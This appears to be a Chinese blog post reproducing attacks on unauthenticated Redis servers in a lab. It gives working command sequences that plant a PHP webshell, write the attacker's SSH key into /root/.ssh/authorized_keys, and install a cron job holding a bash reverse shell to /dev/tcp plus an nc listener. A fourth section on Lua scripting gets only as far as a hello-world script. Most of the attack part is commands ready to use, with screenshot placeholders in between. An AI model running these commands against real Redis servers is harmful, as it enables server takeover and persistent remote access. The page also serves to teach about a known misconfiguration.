redis未授权访问的利用方式

redis未授权访问的利用方式

漏洞原理:
Redis<3.2默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的安全策略,比如添加防火墙黑白名单等等,这样会将Redis服务暴露在公网上。
如果在没有设置密码(默认为空)的情况下,会导致任意用户可以未授权访问Redis以及读取Redis的数据。攻击者利用Redis自身的提供的config命令,可以进行写文件操作,还可以将ssh公钥写入目标服务器./root/.ssh下的authotrized_keys 文件中,进而可以利用对应私钥直接使用ssh服务器登录目标服务器。
漏洞的产生条件有以下两点:

  1. Redis绑定在0.0.0.0:6379,且没有进行添加安全策略,直接暴露在公网
  2. 没有设置密码认证或者弱密码,可以免密登录redis服务

漏洞复现:
环境:

  1. 攻击机kali5.7.0 192.168.237.132
  2. 靶机1 Ubuntu16.04 192.168.237.128
  3. 靶机2 centOS7 192.168.237.133
  4. redis 2.8.17

靶机1开启redis-server,攻击机./redis-cli -h 尝试连接
由于靶机1没有开启安全策略且默认没有设置密码认证
造成攻击机可以未授权访问且执行命令获取敏感数据
redis未授权访问的利用方式_第1张图片

利用方式一:webshell
攻击机进行未授权访问,利用redis的config set命令将webshell写入靶机2网站目录下(*Redis Config Set 命令可以动态地调整 Redis 服务器的配置)

config set dir #设置路径
config set dbfilename #设置文件名
set webshell #写入key值“webshell”对应的值
save #将所有key值保存在文件中

redis未授权访问的利用方式_第2张图片

在靶机2上查看已经写入了shell.php文件
在这里插入图片描述

浏览器访问http://靶机2/shell.php,发现成功写入webshell
redis未授权访问的利用方式_第3张图片

同理可写入一句话木马
\n\n\n换行避免因 在这里插入图片描述

菜刀成功连接
在这里插入图片描述

利用方式二:写入SSH公钥实现SSH登录
将攻击机本机的公钥作为value,然后通过修改redis的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在靶机2的/root/.ssh下生一个授权的key,从而通过ssh登录靶机2。

ssh-keygen -t rsa #生成ssh公钥和私钥,默认密码为空

redis未授权访问的利用方式_第4张图片
在这里插入图片描述

将生成的公钥保存到ssh.txt

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > ssh.txt

在这里插入图片描述
将保存的公钥ssh.txt写入靶机2 redis的key值ssh中

cat /root/.ssh/ssh.txt | redis-cli -h 靶机2 -x set ssh

在这里插入图片描述

远程登录靶机2的redis服务,更改redis备份路径为ssh公钥存放目录

config set dir /root/.ssh

在这里插入图片描述

设置上传公钥的备份文件名字为authorized_keys,保存上传
redis未授权访问的利用方式_第5张图片
攻击机使用ssh免密登录靶机2
在这里插入图片描述

成功登录靶机2
redis未授权访问的利用方式_第6张图片

利用方式三:crontab定时任务,反弹shell
攻击机监听9999端口

nc -l 端口

在这里插入图片描述

远程登录redis,写入定时任务,一分钟后执行bash反弹shell

set test "\n\n*/1 * *  * * /bin/bash -i>&/dev/tcp/攻击机/监听端口 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename test
save

在这里插入图片描述

反弹shell成功
redis未授权访问的利用方式_第7张图片

利用方式四:执行lua脚本
Redis在2.6推出了脚本功能,允许开发者使用lua语言编写脚本传到Redis中
执行。暂时还没找到怎么利用lua执行系统命令。

编写lua脚本test.lua输出字符hello,world!

local a = "hello,world!"
return a

在这里插入图片描述
redis-cli --eval test.lua -h 靶机2
在这里插入图片描述

你可能感兴趣的:(笔记,redis,kali,linux,安全漏洞)